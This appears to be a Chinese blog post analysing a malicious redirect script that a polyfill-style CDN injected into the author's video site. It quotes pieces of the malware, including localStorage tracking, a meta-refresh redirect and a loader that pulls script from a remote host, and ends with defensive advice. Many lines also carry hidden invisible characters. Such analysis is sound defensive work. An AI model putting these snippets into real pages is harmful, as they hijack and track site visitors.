在打开我一个视频站的时候(很久没用的站),我发现我的浏览器被恶意跳转到了涩涩网站。这让我很惊讶,啥?技术博主的网站都能被挂马吗?󠄐󠄹󠅀󠄪󠄢󠄠󠄦󠄞󠄡󠄨󠄩󠄞󠄩󠄤󠄞󠄦󠄨󠄬󠅒󠅢󠄟󠄮󠄐󠅅󠄹󠄴󠄪󠄾󠅟󠅤󠄐󠄼󠅟󠅗󠅙󠅞󠄬󠅒󠅢󠄟󠄮󠅄󠅙󠅝󠅕󠄪󠄡󠄧󠄧󠄦󠄧󠄢󠄥󠄤󠄦󠄣󠄬󠅒󠅢󠄟󠄮

由于网站快速进行了302跳转,我于是把网站关闭后,在宝塔里面将网站状态重新启动一下(目的是为了刷新Cookies或其他东西),并且提前打开好了控制台,这才让我看到了木马的全貌。󠄐󠄹󠅀󠄪󠄢󠄠󠄦󠄞󠄡󠄨󠄩󠄞󠄩󠄤󠄞󠄦󠄨󠄬󠅒󠅢󠄟󠄮󠄐󠅅󠄹󠄴󠄪󠄾󠅟󠅤󠄐󠄼󠅟󠅗󠅙󠅞󠄬󠅒󠅢󠄟󠄮󠅄󠅙󠅝󠅕󠄪󠄡󠄧󠄧󠄦󠄧󠄢󠄥󠄤󠄦󠄣󠄬󠅒󠅢󠄟󠄮

下面我记录一下我分析的过程,希望对大家有所帮助。󠄐󠄹󠅀󠄪󠄢󠄠󠄦󠄞󠄡󠄨󠄩󠄞󠄩󠄤󠄞󠄦󠄨󠄬󠅒󠅢󠄟󠄮󠄐󠅅󠄹󠄴󠄪󠄾󠅟󠅤󠄐󠄼󠅟󠅗󠅙󠅞󠄬󠅒󠅢󠄟󠄮󠅄󠅙󠅝󠅕󠄪󠄡󠄧󠄧󠄦󠄧󠄢󠄥󠄤󠄦󠄣󠄬󠅒󠅢󠄟󠄮

病毒脚本分析:

从图片中我们可以看到,在执行了若干个js脚本后,我发现可疑的脚本就是这个N4jSQ3,因为在执行N4jSQ3后紧接着就是出现了302跳转:index.php。

我们从N4jSQ3的内容开始入手:󠄐󠄹󠅀󠄪󠄢󠄠󠄦󠄞󠄡󠄨󠄩󠄞󠄩󠄤󠄞󠄦󠄨󠄬󠅒󠅢󠄟󠄮󠄐󠅅󠄹󠄴󠄪󠄾󠅟󠅤󠄐󠄼󠅟󠅗󠅙󠅞󠄬󠅒󠅢󠄟󠄮󠅄󠅙󠅝󠅕󠄪󠄡󠄧󠄧󠄦󠄧󠄢󠄥󠄤󠄦󠄣󠄬󠅒󠅢󠄟󠄮

从这个脚本来看,内容并不复杂。

首先执行了

var _XNy6j79QjbVnKddL = function(n) { ... }([...])  

这是典型的Webpack打包方式,最终执行的模块是 r(r.s = 0)

继续往下看,我们可以看到典型的代码:󠄐󠄹󠅀󠄪󠄢󠄠󠄦󠄞󠄡󠄨󠄩󠄞󠄩󠄤󠄞󠄦󠄨󠄬󠅒󠅢󠄟󠄮󠄐󠅅󠄹󠄴󠄪󠄾󠅟󠅤󠄐󠄼󠅟󠅗󠅙󠅞󠄬󠅒󠅢󠄟󠄮󠅄󠅙󠅝󠅕󠄪󠄡󠄧󠄧󠄦󠄧󠄢󠄥󠄤󠄦󠄣󠄬󠅒󠅢󠄟󠄮

this.config.debug && this.clearStorage() }, u.prototype.saveConfig = function() {!this.config.debug && this.config.unique && (localStorage.setItem("subId", this.config.subid), void 0 !== this.config.token && localStorage.setItem("token", this.config.token), localStorage.setItem("config", JSON.stringify(this.config)))

这算代码应该是木马记录的各种配置,这个木马很狡猾的是:我们其实并不是每次访问都会跳转,而这段代码应该是在我们的localStorage记录我们浏览器的参数

据我猜测:

追踪用户对应的是:subid󠄐󠄹󠅀󠄪󠄢󠄠󠄦󠄞󠄡󠄨󠄩󠄞󠄩󠄤󠄞󠄦󠄨󠄬󠅒󠅢󠄟󠄮󠄐󠅅󠄹󠄴󠄪󠄾󠅟󠅤󠄐󠄼󠅟󠅗󠅙󠅞󠄬󠅒󠅢󠄟󠄮󠅄󠅙󠅝󠅕󠄪󠄡󠄧󠄧󠄦󠄧󠄢󠄥󠄤󠄦󠄣󠄬󠅒󠅢󠄟󠄮

token就不知道是什么了。󠄐󠄹󠅀󠄪󠄢󠄠󠄦󠄞󠄡󠄨󠄩󠄞󠄩󠄤󠄞󠄦󠄨󠄬󠅒󠅢󠄟󠄮󠄐󠅅󠄹󠄴󠄪󠄾󠅟󠅤󠄐󠄼󠅟󠅗󠅙󠅞󠄬󠅒󠅢󠄟󠄮󠅄󠅙󠅝󠅕󠄪󠄡󠄧󠄧󠄦󠄧󠄢󠄥󠄤󠄦󠄣󠄬󠅒󠅢󠄟󠄮

继续往下看:

 e.client = new c({ subid: "358j8np289qca", token: "", content: { "body": "", "headers": [], "status": 200, "contentType": "", "uniqueness_cookie": "eyJ0eXAiOiJKV1QiLCJhbGciOiJIUzI1NiJ9.eyJkYXRhIjoie1wic3RyZWFtc1wiOntcIjQyXCI6MTc3NDI3OTczMX0sXCJjYW1wYWlnbnNcIjp7XCI5XCI6MTc3NDI3OTczMX0sXCJ0aW1lXCI6MTc3NDI3OTczMX0ifQ.0SvPuL7U3zQGoni-NtnLPUu6eKRh1Fv8-meWwNjOFK8", "cookies_ttl": 720, "cookies": { "0c9c8": "eyJ0eXAiOiJKV1QiLCJhbGciOiJIUzI1NiJ9.eyJkYXRhIjoie1wic3RyZWFtc1wiOntcIjQyXCI6MTc3NDI3OTczMX0sXCJjYW1wYWlnbnNcIjp7XCI5XCI6MTc3NDI3OTczMX0sXCJ0aW1lXCI6MTc3NDI3OTczMX0ifQ.0SvPuL7U3zQGoni-NtnLPUu6eKRh1Fv8-meWwNjOFK8", "_subid": "358j8np289qca" } }, debug: false })

这段代码除了前面的subid token参数外,还多了uniqueness_cookie,应该是控制是否跳转的参数。

我丢给GPT让它帮我分析一下是什么,他给我的回答是:󠄐󠄹󠅀󠄪󠄢󠄠󠄦󠄞󠄡󠄨󠄩󠄞󠄩󠄤󠄞󠄦󠄨󠄬󠅒󠅢󠄟󠄮󠄐󠅅󠄹󠄴󠄪󠄾󠅟󠅤󠄐󠄼󠅟󠅗󠅙󠅞󠄬󠅒󠅢󠄟󠄮󠅄󠅙󠅝󠅕󠄪󠄡󠄧󠄧󠄦󠄧󠄢󠄥󠄤󠄦󠄣󠄬󠅒󠅢󠄟󠄮

前半部分(JWT payload):

Base64 解码后大概是:󠄐󠄹󠅀󠄪󠄢󠄠󠄦󠄞󠄡󠄨󠄩󠄞󠄩󠄤󠄞󠄦󠄨󠄬󠅒󠅢󠄟󠄮󠄐󠅅󠄹󠄴󠄪󠄾󠅟󠅤󠄐󠄼󠅟󠅗󠅙󠅞󠄬󠅒󠅢󠄟󠄮󠅄󠅙󠅝󠅕󠄪󠄡󠄧󠄧󠄦󠄧󠄢󠄥󠄤󠄦󠄣󠄬󠅒󠅢󠄟󠄮

{
"data": "{\"streams\":{\"42\":1774279731},\"campaigns\":{\"9\":1774279731},\"time\":1774279731}"
}

streams:流量分组 ID campaigns:广告活动 ID time:时间戳

所以说uniqueness_cookie本质上就是 广告/黑产流量跟踪标识

后面就是控制跳转的参数,看起来是先想302,如果302没用就强制301:󠄐󠄹󠅀󠄪󠄢󠄠󠄦󠄞󠄡󠄨󠄩󠄞󠄩󠄤󠄞󠄦󠄨󠄬󠅒󠅢󠄟󠄮󠄐󠅅󠄹󠄴󠄪󠄾󠅟󠅤󠄐󠄼󠅟󠅗󠅙󠅞󠄬󠅒󠅢󠄟󠄮󠅄󠅙󠅝󠅕󠄪󠄡󠄧󠄧󠄦󠄧󠄢󠄥󠄤󠄦󠄣󠄬󠅒󠅢󠄟󠄮

if (301 === t.content.status || 302 === t.content.status) { var e = t.content.headers[0].replace("Location: ", ""); return document.open(), document.write("<html><head>"), document.write('<meta name="referrer" content="never" />'), document.write('<meta http-equiv="refresh" content="0;url=' + e + '" />'), document.write("</head></html>"), void document.close() } } var n }

看到这里我放心了,可以确定的是没有进一步攻击。只是一个黑产流量分发 + 页面劫持 的脚本。

这段代码是哪来的呢?

通过对代码分析,我确定了高度可疑的关键词为:

_1yp7C3MQfbZ7qNXv

cdnjslibraries

subid

uniqueness_cookie

于是我逐条进行全局查找,但是很可惜并没有任何线索,难道是我思路错了?

于是我再次打开控制台,查看这个代码的请求链:󠄐󠄹󠅀󠄪󠄢󠄠󠄦󠄞󠄡󠄨󠄩󠄞󠄩󠄤󠄞󠄦󠄨󠄬󠅒󠅢󠄟󠄮󠄐󠅅󠄹󠄴󠄪󠄾󠅟󠅤󠄐󠄼󠅟󠅗󠅙󠅞󠄬󠅒󠅢󠄟󠄮󠅄󠅙󠅝󠅕󠄪󠄡󠄧󠄧󠄦󠄧󠄢󠄥󠄤󠄦󠄣󠄬󠅒󠅢󠄟󠄮

可以看到这段js脚本是由这个cdn.polyfill.site执行的,于是我再次查找全局。

终于在一个隐蔽的小角落发现了可疑代码:󠄐󠄹󠅀󠄪󠄢󠄠󠄦󠄞󠄡󠄨󠄩󠄞󠄩󠄤󠄞󠄦󠄨󠄬󠅒󠅢󠄟󠄮󠄐󠅅󠄹󠄴󠄪󠄾󠅟󠅤󠄐󠄼󠅟󠅗󠅙󠅞󠄬󠅒󠅢󠄟󠄮󠅄󠅙󠅝󠅕󠄪󠄡󠄧󠄧󠄦󠄧󠄢󠄥󠄤󠄦󠄣󠄬󠅒󠅢󠄟󠄮

由于内容太长了,逐句分析是不太可能了,我直接把代码丢给GPT分析。

执行逻辑终于摆在眼前:

它做了三件事:

① 初始化全局配置(关键变量)󠄐󠄹󠅀󠄪󠄢󠄠󠄦󠄞󠄡󠄨󠄩󠄞󠄩󠄤󠄞󠄦󠄨󠄬󠅒󠅢󠄟󠄮󠄐󠅅󠄹󠄴󠄪󠄾󠅟󠅤󠄐󠄼󠅟󠅗󠅙󠅞󠄬󠅒󠅢󠄟󠄮󠅄󠅙󠅝󠅕󠄪󠄡󠄧󠄧󠄦󠄧󠄢󠄥󠄤󠄦󠄣󠄬󠅒󠅢󠄟󠄮

window._1yp7C3MQfbZ7qNXv = {
unique: false,
ttl: 0x278d00, // ≈ 30天
R_PATH: "https://cdnjslibraries.com/N4jSQ3"
}

说明:

  • R_PATH = 远程控制服务器(你给的那个 URL)
  • ttl = 缓存时间(约 30 天!)

② 读取 localStorage 判断是否“该触发”

var config = localStorage.getItem("config")

然后判断:

if (config.created_at + ttl < 当前时间) {
清空 localStorage
}

👉 结论:

超过 TTL 才会重新触发(重新拉 payload)󠄐󠄹󠅀󠄪󠄢󠄠󠄦󠄞󠄡󠄨󠄩󠄞󠄩󠄤󠄞󠄦󠄨󠄬󠅒󠅢󠄟󠄮󠄐󠅅󠄹󠄴󠄪󠄾󠅟󠅤󠄐󠄼󠅟󠅗󠅙󠅞󠄬󠅒󠅢󠄟󠄮󠅄󠅙󠅝󠅕󠄪󠄡󠄧󠄧󠄦󠄧󠄢󠄥󠄤󠄦󠄣󠄬󠅒󠅢󠄟󠄮

③ 拼接请求参数(非常关键)󠄐󠄹󠅀󠄪󠄢󠄠󠄦󠄞󠄡󠄨󠄩󠄞󠄩󠄤󠄞󠄦󠄨󠄬󠅒󠅢󠄟󠄮󠄐󠅅󠄹󠄴󠄪󠄾󠅟󠅤󠄐󠄼󠅟󠅗󠅙󠅞󠄬󠅒󠅢󠄟󠄮󠅄󠅙󠅝󠅕󠄪󠄡󠄧󠄧󠄦󠄧󠄢󠄥󠄤󠄦󠄣󠄬󠅒󠅢󠄟󠄮

最终构造这个 URL:

https://cdnjslibraries.com/N4jSQ3?return=js.client
  &se_referrer=xxx
  &default_keyword=xxx
  &landing_url=xxx
  &name=_1yp7C3MQfbZ7qNXv
  &host=xxx
  &sub_id=xxx
  &token=xxx

最后,动态插入script执行恶意代码。

var s = document.createElement("script")
s.src = R_PATH + 参数
document.head.appendChild(s)

到这里不得不感慨一下,AI真好用!嘿嘿嘿~

为什么有时候跳转有时候不跳转?

通过对代码进行分析,我们可以知道:

触发条件有三个:

1.在一次访问的时候,因为这个时候localStorage 没有任何内容,则会直接跳转(这也是我这次发现的原因)

2.超过 TTL 也就是 约30天,会再次跳转(这也是绝大多数人跳转一次后,再也没跳转的原因)

3.如果你清理缓存/或者无痕模式,由于localStorage被清空也会直接跳转。

4.不同设备,不同条件跳转,这也是最阴的:

N4jSQ3脚本是执行恶意脚本后反向注入进的js,而服务器完全也可能返回正常的内容从而达到不跳转。

而对方服务器可能的判断依据有:󠄐󠄹󠅀󠄪󠄢󠄠󠄦󠄞󠄡󠄨󠄩󠄞󠄩󠄤󠄞󠄦󠄨󠄬󠅒󠅢󠄟󠄮󠄐󠅅󠄹󠄴󠄪󠄾󠅟󠅤󠄐󠄼󠅟󠅗󠅙󠅞󠄬󠅒󠅢󠄟󠄮󠅄󠅙󠅝󠅕󠄪󠄡󠄧󠄧󠄦󠄧󠄢󠄥󠄤󠄦󠄣󠄬󠅒󠅢󠄟󠄮

  • IP 国家
  • UA(手机/PC)
  • referrer(是否来自搜索)

给我的启发:

通过这次事件,我得到了以下启发

1.不要下载盗版资源,因为对方很小很小概率会无偿给你。发出来总是有目的的。󠄐󠄹󠅀󠄪󠄢󠄠󠄦󠄞󠄡󠄨󠄩󠄞󠄩󠄤󠄞󠄦󠄨󠄬󠅒󠅢󠄟󠄮󠄐󠅅󠄹󠄴󠄪󠄾󠅟󠅤󠄐󠄼󠅟󠅗󠅙󠅞󠄬󠅒󠅢󠄟󠄮󠅄󠅙󠅝󠅕󠄪󠄡󠄧󠄧󠄦󠄧󠄢󠄥󠄤󠄦󠄣󠄬󠅒󠅢󠄟󠄮

2.不要信任任何第三方CDN服务商,尽可能的本地化。因为今年来发生供应链投毒的事情可不少。󠄐󠄹󠅀󠄪󠄢󠄠󠄦󠄞󠄡󠄨󠄩󠄞󠄩󠄤󠄞󠄦󠄨󠄬󠅒󠅢󠄟󠄮󠄐󠅅󠄹󠄴󠄪󠄾󠅟󠅤󠄐󠄼󠅟󠅗󠅙󠅞󠄬󠅒󠅢󠄟󠄮󠅄󠅙󠅝󠅕󠄪󠄡󠄧󠄧󠄦󠄧󠄢󠄥󠄤󠄦󠄣󠄬󠅒󠅢󠄟󠄮

3.定期巡查服务器是否有恶意后门或脚本。󠄐󠄹󠅀󠄪󠄢󠄠󠄦󠄞󠄡󠄨󠄩󠄞󠄩󠄤󠄞󠄦󠄨󠄬󠅒󠅢󠄟󠄮󠄐󠅅󠄹󠄴󠄪󠄾󠅟󠅤󠄐󠄼󠅟󠅗󠅙󠅞󠄬󠅒󠅢󠄟󠄮󠅄󠅙󠅝󠅕󠄪󠄡󠄧󠄧󠄦󠄧󠄢󠄥󠄤󠄦󠄣󠄬󠅒󠅢󠄟󠄮

你如何来排查是否有后门呢?

请跟我一样全局进行查询以下关键词:

polyfill
cdnjslibraries
subid
uniqueness_cookie

如果发现相关内容,立即给予删除并排查网站。

感谢大家能看到这里。